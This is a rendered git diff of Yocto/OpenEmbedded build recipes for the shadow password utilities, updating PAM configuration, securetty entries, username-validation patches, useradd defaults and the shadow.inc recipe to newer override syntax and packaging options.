1# SPDX-License-Identifier: BSD-3-Clause OR Artistic-1.0
1# 2#
2# /etc/login.defs - Configuration control definitions for the shadow package. 3# /etc/login.defs - Configuration control definitions for the shadow package.
3# 4#
diff --git a/meta/recipes-extended/shadow/files/pam.d/login b/meta/recipes-extended/shadow/files/pam.d/login
index b340058539..d39e09b1ea 100644
--- a/meta/recipes-extended/shadow/files/pam.d/login
+++ b/meta/recipes-extended/shadow/files/pam.d/login
@@ -57,10 +57,6 @@ auth optional pam_group.so
57# (Replaces the use of /etc/limits in old login) 57# (Replaces the use of /etc/limits in old login)
58session required pam_limits.so 58session required pam_limits.so
59 59
60# Prints the last login info upon succesful login
61# (Replaces the `LASTLOG_ENAB' option from login.defs)
62session optional pam_lastlog.so
63
64# Prints the motd upon succesful login 60# Prints the motd upon succesful login
65# (Replaces the `MOTD_FILE' option in login.defs) 61# (Replaces the `MOTD_FILE' option in login.defs)
66session optional pam_motd.so 62session optional pam_motd.so
diff --git a/meta/recipes-extended/shadow/files/securetty b/meta/recipes-extended/shadow/files/securetty
index 2be341a216..820728faa6 100644
--- a/meta/recipes-extended/shadow/files/securetty
+++ b/meta/recipes-extended/shadow/files/securetty
@@ -7,6 +7,7 @@ ttyS0
7ttyS1 7ttyS1
8ttyS2 8ttyS2
9ttyS3 9ttyS3
10ttyS4
10 11
11# ARM AMBA SoCs 12# ARM AMBA SoCs
12ttyAM0 13ttyAM0
diff --git a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch b/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
deleted file mode 100644
index a7bb0a9290..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1# commit message copied from openembedded:
2# commit 246c80637b135f3a113d319b163422f98174ee6c
3# Author: Khem Raj <raj.khem@gmail.com>
4# Date: Wed Jun 9 13:37:03 2010 -0700
5#
6# shadow-4.1.4.2: Add patches to support dots in login id.
7#
8# Signed-off-by: Khem Raj <raj.khem@gmail.com>
9#
10# comment added by Kevin Tian <kevin.tian@intel.com>, 2010-08-11
11
12Upstream-Status: Pending
13
14Signed-off-by: Scott Garman <scott.a.garman@intel.com>
15
16Index: shadow-4.1.4.2/libmisc/chkname.c
17===================================================================
18--- shadow-4.1.4.2.orig/libmisc/chkname.c 2009-04-28 12:14:04.000000000 -0700
19+++ shadow-4.1.4.2/libmisc/chkname.c 2010-06-03 17:43:20.638973857 -0700
20@@ -61,6 +61,7 @@ static bool is_valid_name (const char *n
21 ( ('0' <= *name) && ('9' >= *name) ) ||
22 ('_' == *name) ||
23 ('-' == *name) ||
24+ ('.' == *name) ||
25 ( ('$' == *name) && ('\0' == *(name + 1)) )
26 )) {
27 return false;
diff --git a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch b/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
deleted file mode 100644
index cc833362e9..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
+++ /dev/null
@@ -1,111 +0,0 @@
1From ca472d6866e545aaa70a70020e3226f236a8aafc Mon Sep 17 00:00:00 2001
2From: Shan Hai <shan.hai@windriver.com>
3Date: Tue, 13 Sep 2016 13:45:46 +0800
4Subject: [PATCH] shadow: use relaxed usernames
5
6The groupadd from shadow does not allow upper case group names, the
7same is true for the upstream shadow. But distributions like
8Debian/Ubuntu/CentOS has their own way to cope with this problem,
9this patch is picked up from CentOS release 7.0 to relax the usernames
10restrictions to allow the upper case group names, and the relaxation is
11POSIX compliant because POSIX indicate that usernames are composed of
12characters from the portable filename character set [A-Za-z0-9._-].
13
14Upstream-Status: Pending
15
16Signed-off-by: Shan Hai <shan.hai@windriver.com>
17
18---
19 libmisc/chkname.c | 30 ++++++++++++++++++------------
20 man/groupadd.8.xml | 6 ------
21 man/useradd.8.xml | 8 +-------
22 3 files changed, 19 insertions(+), 25 deletions(-)
23
24diff --git a/libmisc/chkname.c b/libmisc/chkname.c
25index 90f185c..65762b4 100644
26--- a/libmisc/chkname.c
27+++ b/libmisc/chkname.c
28@@ -55,22 +55,28 @@ static bool is_valid_name (const char *name)
29 }
30
31 /*
32- * User/group names must match [a-z_][a-z0-9_-]*[$]
33- */
34-
35- if (('\0' == *name) ||
36- !((('a' <= *name) && ('z' >= *name)) || ('_' == *name))) {
37+ * User/group names must match gnu e-regex:
38+ * [a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?
39+ *
40+ * as a non-POSIX, extension, allow "$" as the last char for
41+ * sake of Samba 3.x "add machine script"
42+ */
43+ if ( ('\0' == *name) ||
44+ !((*name >= 'a' && *name <= 'z') ||
45+ (*name >= 'A' && *name <= 'Z') ||
46+ (*name >= '0' && *name <= '9') ||
47+ (*name == '_') || (*name == '.')
48+ )) {
49 return false;
50 }
51
52 while ('\0' != *++name) {
53- if (!(( ('a' <= *name) && ('z' >= *name) ) ||
54- ( ('0' <= *name) && ('9' >= *name) ) ||
55- ('_' == *name) ||
56- ('-' == *name) ||
57- ('.' == *name) ||
58- ( ('$' == *name) && ('\0' == *(name + 1)) )
59- )) {
60+ if (!( (*name >= 'a' && *name <= 'z') ||
61+ (*name >= 'A' && *name <= 'Z') ||
62+ (*name >= '0' && *name <= '9') ||
63+ (*name == '_') || (*name == '.') || (*name == '-') ||
64+ (*name == '$' && *(name + 1) == '\0')
65+ )) {
66 return false;
67 }
68 }
69diff --git a/man/groupadd.8.xml b/man/groupadd.8.xml
70index 1e58f09..d804b61 100644
71--- a/man/groupadd.8.xml
72+++ b/man/groupadd.8.xml
73@@ -272,12 +272,6 @@
74
75 <refsect1 id='caveats'>
76 <title>CAVEATS</title>
77- <para>
78- Groupnames must start with a lower case letter or an underscore,
79- followed by lower case letters, digits, underscores, or dashes.
80- They can end with a dollar sign.
81- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
82- </para>
83 <para>
84 Groupnames may only be up to &GROUP_NAME_MAX_LENGTH; characters long.
85 </para>
86diff --git a/man/useradd.8.xml b/man/useradd.8.xml
87index a16d730..c0bd777 100644
88--- a/man/useradd.8.xml
89+++ b/man/useradd.8.xml
90@@ -366,7 +366,7 @@
91 </term>
92 <listitem>
93 <para>
94- Do no create the user's home directory, even if the system
95+ Do not create the user's home directory, even if the system
96 wide setting from <filename>/etc/login.defs</filename>
97 (<option>CREATE_HOME</option>) is set to
98 <replaceable>yes</replaceable>.
99@@ -660,12 +660,6 @@
100 the user account creation request.
101 </para>
102
103- <para>
104- Usernames must start with a lower case letter or an underscore,
105- followed by lower case letters, digits, underscores, or dashes.
106- They can end with a dollar sign.
107- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
108- </para>
109 <para>
110 Usernames may only be up to 32 characters long.
111 </para>
diff --git a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
index 15f8044fa2..1eacb8a53f 100644
--- a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
+++ b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
@@ -1,88 +1,115 @@
1From 38882ab288fd4d2cc2e45dff222ae3412c8fe357 Mon Sep 17 00:00:00 2001
2From: Kang Kai <kai.kang@windriver.com>
3Date: Wed, 20 Jul 2011 19:18:14 +0800
4Subject: [PATCH] shadow: update pam related configure files
5
1The system-auth in the configure files is from Fedora which put all the 4 pam type rules 6The system-auth in the configure files is from Fedora which put all the 4 pam type rules
2in one file. 7in one file.
3In yocto it obey the way with Debian/Ubuntu, and the names are common-auth, common-account, 8In yocto it obey the way with Debian/Ubuntu, and the names are common-auth, common-account,
4common-password and common-session. 9common-password and common-session.
5So update them with oe way. 10So update them with oe way.
6 11
7Upstream-Status: Pending 12See meta/recipes-extended/pam/libpam/pam.d/common-password
13
14Upstream-Status: Inappropriate [oe-core specific]
8 15
9Signed-off-by: Kang Kai <kai.kang@windriver.com> 16Signed-off-by: Kang Kai <kai.kang@windriver.com>
17---
18 etc/pam.d/chage | 2 +-
19 etc/pam.d/chgpasswd | 2 +-
20 etc/pam.d/groupadd | 2 +-
21 etc/pam.d/groupdel | 2 +-
22 etc/pam.d/groupmems | 2 +-
23 etc/pam.d/groupmod | 2 +-
24 etc/pam.d/useradd | 2 +-
25 etc/pam.d/userdel | 2 +-
26 etc/pam.d/usermod | 2 +-
27 9 files changed, 9 insertions(+), 9 deletions(-)
10 28
11diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chage shadow-4.1.4.3/etc/pam.d/chage 29diff --git a/etc/pam.d/chage b/etc/pam.d/chage
12--- shadow-4.1.4.3/etc/pam.d.orig/chage 2011-07-20 19:02:27.384844958 +0800 30index 8f49f5c..b1f365d 100644
13+++ shadow-4.1.4.3/etc/pam.d/chage 2011-07-20 19:03:08.964844958 +0800 31--- a/etc/pam.d/chage
32+++ b/etc/pam.d/chage
14@@ -1,4 +1,4 @@ 33@@ -1,4 +1,4 @@
15 #%PAM-1.0 34 #%PAM-1.0
16 auth sufficient pam_rootok.so 35 auth sufficient pam_rootok.so
17 account required pam_permit.so 36 account required pam_permit.so
18-password include system-auth 37-password include system-auth
19+password include common-password 38+password include common-password
20diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chgpasswd shadow-4.1.4.3/etc/pam.d/chgpasswd 39diff --git a/etc/pam.d/chgpasswd b/etc/pam.d/chgpasswd
21--- shadow-4.1.4.3/etc/pam.d.orig/chgpasswd 2011-07-20 19:02:27.384844958 +0800 40index 8f49f5c..b1f365d 100644
22+++ shadow-4.1.4.3/etc/pam.d/chgpasswd 2011-07-20 19:03:26.544844958 +0800 41--- a/etc/pam.d/chgpasswd
42+++ b/etc/pam.d/chgpasswd
23@@ -1,4 +1,4 @@ 43@@ -1,4 +1,4 @@
24 #%PAM-1.0 44 #%PAM-1.0
25 auth sufficient pam_rootok.so 45 auth sufficient pam_rootok.so
26 account required pam_permit.so 46 account required pam_permit.so
27-password include system-auth 47-password include system-auth
28+password include common-password 48+password include common-password
29diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupadd shadow-4.1.4.3/etc/pam.d/groupadd 49diff --git a/etc/pam.d/groupadd b/etc/pam.d/groupadd
30--- shadow-4.1.4.3/etc/pam.d.orig/groupadd 2011-07-20 19:02:27.384844958 +0800 50index 8f49f5c..b1f365d 100644
31+++ shadow-4.1.4.3/etc/pam.d/groupadd 2011-07-20 19:04:08.124844958 +0800 51--- a/etc/pam.d/groupadd
52+++ b/etc/pam.d/groupadd
32@@ -1,4 +1,4 @@ 53@@ -1,4 +1,4 @@
33 #%PAM-1.0 54 #%PAM-1.0
34 auth sufficient pam_rootok.so 55 auth sufficient pam_rootok.so
35 account required pam_permit.so 56 account required pam_permit.so
36-password include system-auth 57-password include system-auth
37+password include common-password 58+password include common-password
38diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupdel shadow-4.1.4.3/etc/pam.d/groupdel 59diff --git a/etc/pam.d/groupdel b/etc/pam.d/groupdel
39--- shadow-4.1.4.3/etc/pam.d.orig/groupdel 2011-07-20 19:02:27.384844958 +0800 60index 8f49f5c..b1f365d 100644
40+++ shadow-4.1.4.3/etc/pam.d/groupdel 2011-07-20 19:04:26.114844958 +0800 61--- a/etc/pam.d/groupdel
62+++ b/etc/pam.d/groupdel
41@@ -1,4 +1,4 @@ 63@@ -1,4 +1,4 @@
42 #%PAM-1.0 64 #%PAM-1.0
43 auth sufficient pam_rootok.so 65 auth sufficient pam_rootok.so
44 account required pam_permit.so 66 account required pam_permit.so
45-password include system-auth 67-password include system-auth
46+password include common-password 68+password include common-password
47diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmems shadow-4.1.4.3/etc/pam.d/groupmems 69diff --git a/etc/pam.d/groupmems b/etc/pam.d/groupmems
48--- shadow-4.1.4.3/etc/pam.d.orig/groupmems 2011-07-20 19:02:27.384844958 +0800 70index 8f49f5c..b1f365d 100644
49+++ shadow-4.1.4.3/etc/pam.d/groupmems 2011-07-20 19:04:35.074844958 +0800 71--- a/etc/pam.d/groupmems
72+++ b/etc/pam.d/groupmems
50@@ -1,4 +1,4 @@ 73@@ -1,4 +1,4 @@
51 #%PAM-1.0 74 #%PAM-1.0
52 auth sufficient pam_rootok.so 75 auth sufficient pam_rootok.so
53 account required pam_permit.so 76 account required pam_permit.so
54-password include system-auth 77-password include system-auth
55+password include common-password 78+password include common-password
56diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmod shadow-4.1.4.3/etc/pam.d/groupmod 79diff --git a/etc/pam.d/groupmod b/etc/pam.d/groupmod
57--- shadow-4.1.4.3/etc/pam.d.orig/groupmod 2011-07-20 19:02:27.384844958 +0800 80index 8f49f5c..b1f365d 100644
58+++ shadow-4.1.4.3/etc/pam.d/groupmod 2011-07-20 19:04:44.864844958 +0800 81--- a/etc/pam.d/groupmod
82+++ b/etc/pam.d/groupmod
59@@ -1,4 +1,4 @@ 83@@ -1,4 +1,4 @@
60 #%PAM-1.0 84 #%PAM-1.0
61 auth sufficient pam_rootok.so 85 auth sufficient pam_rootok.so
62 account required pam_permit.so 86 account required pam_permit.so
63-password include system-auth 87-password include system-auth
64+password include common-password 88+password include common-password
65diff -Nur shadow-4.1.4.3/etc/pam.d.orig/useradd shadow-4.1.4.3/etc/pam.d/useradd 89diff --git a/etc/pam.d/useradd b/etc/pam.d/useradd
66--- shadow-4.1.4.3/etc/pam.d.orig/useradd 2011-07-20 19:02:27.384844958 +0800 90index 8f49f5c..b1f365d 100644
67+++ shadow-4.1.4.3/etc/pam.d/useradd 2011-07-20 19:07:26.244844958 +0800 91--- a/etc/pam.d/useradd
92+++ b/etc/pam.d/useradd
68@@ -1,4 +1,4 @@ 93@@ -1,4 +1,4 @@
69 #%PAM-1.0 94 #%PAM-1.0
70 auth sufficient pam_rootok.so 95 auth sufficient pam_rootok.so
71 account required pam_permit.so 96 account required pam_permit.so
72-password include system-auth 97-password include system-auth
73+password include common-password 98+password include common-password
74diff -Nur shadow-4.1.4.3/etc/pam.d.orig/userdel shadow-4.1.4.3/etc/pam.d/userdel 99diff --git a/etc/pam.d/userdel b/etc/pam.d/userdel
75--- shadow-4.1.4.3/etc/pam.d.orig/userdel 2011-07-20 19:02:27.384844958 +0800 100index 8f49f5c..b1f365d 100644
76+++ shadow-4.1.4.3/etc/pam.d/userdel 2011-07-20 19:07:35.734844958 +0800 101--- a/etc/pam.d/userdel
102+++ b/etc/pam.d/userdel
77@@ -1,4 +1,4 @@ 103@@ -1,4 +1,4 @@
78 #%PAM-1.0 104 #%PAM-1.0
79 auth sufficient pam_rootok.so 105 auth sufficient pam_rootok.so
80 account required pam_permit.so 106 account required pam_permit.so
81-password include system-auth 107-password include system-auth
82+password include common-password 108+password include common-password
83diff -Nur shadow-4.1.4.3/etc/pam.d.orig/usermod shadow-4.1.4.3/etc/pam.d/usermod 109diff --git a/etc/pam.d/usermod b/etc/pam.d/usermod
84--- shadow-4.1.4.3/etc/pam.d.orig/usermod 2011-07-20 19:02:27.384844958 +0800 110index 8f49f5c..b1f365d 100644
85+++ shadow-4.1.4.3/etc/pam.d/usermod 2011-07-20 19:07:42.024844958 +0800 111--- a/etc/pam.d/usermod
112+++ b/etc/pam.d/usermod
86@@ -1,4 +1,4 @@ 113@@ -1,4 +1,4 @@
87 #%PAM-1.0 114 #%PAM-1.0
88 auth sufficient pam_rootok.so 115 auth sufficient pam_rootok.so
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
new file mode 100644
index 0000000000..782aeef418
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/useradd
@@ -0,0 +1,8 @@
1# useradd defaults file
2GROUP=100
3HOME=/home
4INACTIVE=-1
5EXPIRE=
6SHELL=/bin/sh
7SKEL=/etc/skel
8CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
index c78f888cf4..fe51ea1874 100644
--- a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
@@ -5,7 +5,6 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
5 5
6INHIBIT_DEFAULT_DEPS = "1" 6INHIBIT_DEFAULT_DEPS = "1"
7 7
8PR = "r3"
9 8
10SRC_URI = "file://securetty" 9SRC_URI = "file://securetty"
11 10
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
index 1f6232e43c..00ab58b38c 100644
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
@@ -2,12 +2,11 @@ SUMMARY = "Shadow utils requirements for useradd.bbclass"
2HOMEPAGE = "http://github.com/shadow-maint/shadow" 2HOMEPAGE = "http://github.com/shadow-maint/shadow"
3BUGTRACKER = "http://github.com/shadow-maint/shadow/issues" 3BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
4SECTION = "base utils" 4SECTION = "base utils"
5LICENSE = "BSD | Artistic-1.0" 5LICENSE = "BSD-3-Clause | Artistic-1.0"
6LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5" 6LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;endline=1;md5=ceddfb61608e4db87012499555184aed"
7 7
8DEPENDS = "base-passwd" 8DEPENDS = "base-passwd"
9 9
10PR = "r3"
11 10
12# The sole purpose of this recipe is to provide the /etc/login.defs 11# The sole purpose of this recipe is to provide the /etc/login.defs
13# file for the target sysroot - needed so the shadow-native utilities 12# file for the target sysroot - needed so the shadow-native utilities
diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc
index 4ae7a78c52..c15715fc77 100644
--- a/meta/recipes-extended/shadow/shadow.inc
+++ b/meta/recipes-extended/shadow/shadow.inc
@@ -1,36 +1,31 @@
1SUMMARY = "Tools to change and administer password and group data" 1SUMMARY = "Tools to change and administer password and group data"
2HOMEPAGE = "http://github.com/shadow-maint/shadow" 2HOMEPAGE = "http://github.com/shadow-maint/shadow"
3DESCRIPTION = "${SUMMARY}"
3BUGTRACKER = "http://github.com/shadow-maint/shadow/issues" 4BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
4SECTION = "base/utils" 5SECTION = "base/utils"
5LICENSE = "BSD | Artistic-1.0" 6LICENSE = "BSD-3-Clause"
6LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \ 7LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \
7 file://src/passwd.c;beginline=2;endline=30;md5=5720ff729a6ff39ecc9f64555d75f4af" 8 file://src/passwd.c;beginline=2;endline=7;md5=67bcf314687820b2f010d4863fce3fc5 \
9 "
8 10
9DEPENDS = "virtual/crypt" 11DEPENDS = "virtual/crypt"
10 12
11UPSTREAM_CHECK_URI = "https://github.com/shadow-maint/shadow/releases" 13GITHUB_BASE_URI = "https://github.com/shadow-maint/shadow/releases"
12SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/${PV}/${BP}.tar.gz \ 14SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.gz \
13 file://shadow-4.1.3-dots-in-usernames.patch \ 15 file://0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch \
14 ${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \ 16 ${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
15 file://shadow-relaxed-usernames.patch \ 17 file://useradd \
16 " 18 "
17 19
18SRC_URI_append_class-target = " \ 20SRC_URI:append:class-target = " \
19 file://login_defs_pam.sed \ 21 file://login_defs_pam.sed \
20 file://shadow-update-pam-conf.patch \ 22 file://shadow-update-pam-conf.patch \
21 " 23 "
22 24
23SRC_URI_append_class-native = " \ 25SRC_URI:append:class-native = " \
24 file://0001-Disable-use-of-syslog-for-sysroot.patch \
25 file://0002-Allow-for-setting-password-in-clear-text.patch \
26 file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \ 26 file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
27 " 27 "
28SRC_URI_append_class-nativesdk = " \ 28SRC_URI[sha256sum] = "377fe0d7c1a0aa5e3514c08fdf5ddc70c9dcbb391678c2134445ed97326bcc26"
29 file://0001-Disable-use-of-syslog-for-sysroot.patch \
30 "
31
32SRC_URI[md5sum] = "3d97f11e66bfb0b14702b115fa8be480"
33SRC_URI[sha256sum] = "3ee3081fbbcbcfea5c8916419e46bc724807bab271072104f23e7a29e9668f3a"
34 29
35# Additional Policy files for PAM 30# Additional Policy files for PAM
36PAM_SRC_URI = "file://pam.d/chfn \ 31PAM_SRC_URI = "file://pam.d/chfn \
@@ -41,22 +36,22 @@ PAM_SRC_URI = "file://pam.d/chfn \
41 file://pam.d/passwd \ 36 file://pam.d/passwd \
42 file://pam.d/su" 37 file://pam.d/su"
43 38
44inherit autotools gettext 39inherit autotools gettext github-releases pkgconfig
45 40
46export CONFIG_SHELL="/bin/sh" 41export CONFIG_SHELL="/bin/sh"
47 42
48EXTRA_OECONF += "--without-audit \ 43EXTRA_OECONF += " \
49 --without-libcrack \
50 --without-selinux \
51 --with-group-name-max-length=24 \ 44 --with-group-name-max-length=24 \
52 --enable-subordinate-ids=yes \ 45 --enable-subordinate-ids=yes \
53 --without-sssd \ 46 --without-sssd \
54 ${NSCDOPT}" 47 ${NSCDOPT}"
55 48
49CFLAGS:append:libc-musl = " -DLIBBSD_OVERLAY"
50
56NSCDOPT = "" 51NSCDOPT = ""
57NSCDOPT_class-native = "--without-nscd" 52NSCDOPT:class-native = "--without-nscd"
58NSCDOPT_class-nativesdk = "--without-nscd" 53NSCDOPT:class-nativesdk = "--without-nscd"
59NSCDOPT_libc-glibc = "--with-nscd" 54NSCDOPT:libc-glibc = "--with-nscd"
60 55
61PAM_PLUGINS = "libpam-runtime \ 56PAM_PLUGINS = "libpam-runtime \
62 pam-plugin-faildelay \ 57 pam-plugin-faildelay \
@@ -65,27 +60,28 @@ PAM_PLUGINS = "libpam-runtime \
65 pam-plugin-env \ 60 pam-plugin-env \
66 pam-plugin-group \ 61 pam-plugin-group \
67 pam-plugin-limits \ 62 pam-plugin-limits \
68 pam-plugin-lastlog \
69 pam-plugin-motd \ 63 pam-plugin-motd \
70 pam-plugin-mail \ 64 pam-plugin-mail \
71 pam-plugin-shells \ 65 pam-plugin-shells \
72 pam-plugin-rootok" 66 pam-plugin-rootok"
73 67
74PAM_PLUGINS_remove_libc-musl = "pam-plugin-lastlog"
75
76PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \ 68PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
77 ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}" 69 ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
78PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}" 70PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} libbsd"
79PACKAGECONFIG_class-nativesdk = "" 71PACKAGECONFIG:class-nativesdk = ""
80PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}" 72PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
81PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr" 73PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
82PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl" 74PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
75PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
76PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
77PACKAGECONFIG[libbsd] = "--with-libbsd,--without-libbsd,libbsd"
78PACKAGECONFIG[logind] = "--enable-logind,--disable-logind,systemd"
83 79
84RDEPENDS_${PN} = "shadow-securetty \ 80RDEPENDS:${PN} = "shadow-securetty \
85 base-passwd \ 81 base-passwd \
86 util-linux-sulogin" 82 util-linux-sulogin"
87RDEPENDS_${PN}_class-native = "" 83RDEPENDS:${PN}:class-native = ""
88RDEPENDS_${PN}_class-nativesdk = "" 84RDEPENDS:${PN}:class-nativesdk = ""
89 85
90do_install() { 86do_install() {
91 oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install 87 oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
@@ -114,15 +110,11 @@ do_install() {
114 # Use proper encryption for passwords 110 # Use proper encryption for passwords
115 sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs 111 sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
116 112
117 # Now we don't have a mail system. Disable mail creation for now. 113 install -d ${D}${sysconfdir}/default
118 sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd 114 install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default
119 sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd
120
121 # Use users group by default
122 sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd
123} 115}
124 116
125do_install_append() { 117do_install:append() {
126 # Ensure that the image has as a /var/spool/mail dir so shadow can 118 # Ensure that the image has as a /var/spool/mail dir so shadow can
127 # put mailboxes there if the user reconfigures shadow to its 119 # put mailboxes there if the user reconfigures shadow to its
128 # defaults (see sed below). 120 # defaults (see sed below).
@@ -152,10 +144,40 @@ do_install_append() {
152 # Handle link properly after rename, otherwise missing files would 144 # Handle link properly after rename, otherwise missing files would
153 # lead rpm failed dependencies. 145 # lead rpm failed dependencies.
154 ln -sf newgrp.${BPN} ${D}${bindir}/sg 146 ln -sf newgrp.${BPN} ${D}${bindir}/sg
147
148 # usermod requires the subuid/subgid files to be in place before being
149 # able to use the -v/-V flags otherwise it fails:
150 # usermod: /etc/subuid does not exist, you cannot use the flags -v or -V
151 install -d ${D}${sysconfdir}
152 touch ${D}${sysconfdir}/subuid
153 touch ${D}${sysconfdir}/subgid
154}
155
156# Make executables look for dynamically linked libraries in a custom location, and install
157# the needed libraries there. That way we can use them from sstate
158# in setscene tasks without worrying about the dependency libraries being available.
159do_install:append:class-native() {
160 binaries=$(find ${D}${base_bindir}/ ${D}${base_sbindir}/ ${D}${bindir}/ ${D}${sbindir}/ -executable -type f)
161 chrpath -k -r ${STAGING_DIR_NATIVE}/lib-shadow-deps $binaries
162 mkdir -p ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
163 libattr=${@bb.utils.contains('DISTRO_FEATURES', 'xattr', "${STAGING_LIBDIR_NATIVE}/libattr.so.*", '', d)}
164 install $libattr ${STAGING_LIBDIR_NATIVE}/libbsd.so.* ${STAGING_LIBDIR_NATIVE}/libmd.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
165 install ${D}${libdir}/*.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
166}
167
168SYSROOT_DIRS:append:class-native = " ${STAGING_DIR_NATIVE}/lib-shadow-deps/"
169INSANE_SKIP:${PN}:class-native = "already-stripped"
170
171do_install:append:class-nativesdk() {
172 oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
173}
174
175do_install:append:class-target() {
176 oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
155} 177}
156 178
157PACKAGES =+ "${PN}-base" 179PACKAGES =+ "${PN}-base"
158FILES_${PN}-base = "\ 180FILES:${PN}-base = "\
159 ${base_bindir}/login.shadow \ 181 ${base_bindir}/login.shadow \
160 ${base_bindir}/su.shadow \ 182 ${base_bindir}/su.shadow \
161 ${bindir}/sg \ 183 ${bindir}/sg \
@@ -165,31 +187,30 @@ FILES_${PN}-base = "\
165 ${sysconfdir}/pam.d/su \ 187 ${sysconfdir}/pam.d/su \
166 ${sysconfdir}/login.defs \ 188 ${sysconfdir}/login.defs \
167" 189"
168RDEPENDS_${PN} += "${PN}-base" 190RDEPENDS:${PN} += "${PN}-base"
169 191
170inherit update-alternatives 192inherit update-alternatives
171 193
172ALTERNATIVE_PRIORITY = "200" 194ALTERNATIVE_PRIORITY = "200"
173 195
174ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin" 196ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
197ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
198ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
175ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd" 199ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
176ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw" 200ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
